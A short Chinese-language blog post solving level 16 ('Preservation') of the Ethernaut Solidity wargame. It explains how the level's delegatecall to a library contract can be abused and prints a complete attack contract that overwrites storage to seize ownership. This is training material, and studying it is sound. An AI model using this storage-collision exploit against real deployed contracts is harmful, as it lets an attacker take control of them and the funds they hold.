# 智能合约黑客攻击 Ethernaut:  
 16. Preservation

**Published by:** [Leek DEV](https://paragraph.com/@leekdev/)
**Published on:** 2023-09-28
**URL:** https://paragraph.com/@leekdev/ethernaut-16-preservation

## Content

Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏，每个关卡都有需要被 Hack 的智能合约。教程GitHub - 攻击代码Bilibili - 视频教程YouTube - 视频教程TikTok - ….题目获取合约owner权限Hack思路Preservation 有委托调用到其他合约，可以在其他合约里做手脚。interface IPreservation { function setFirstTime(uint256) external; } contract PreservationHack { // 和攻击合约声明相同的变量 address public timeZone1Library; address public timeZone2Library; address public owner; uint256 storedTime; IPreservation public exploitInst; constructor(address _target) { exploitInst = IPreservation(_target); } function setTime(uint256 _addr) external { owner = address(uint160(_addr)); } function attack() external { exploitInst.setFirstTime(uint256(uint160(address(this)))); exploitInst.setFirstTime(uint256(uint160(msg.sender))); } } Hack案例…防范思路…参考资料….

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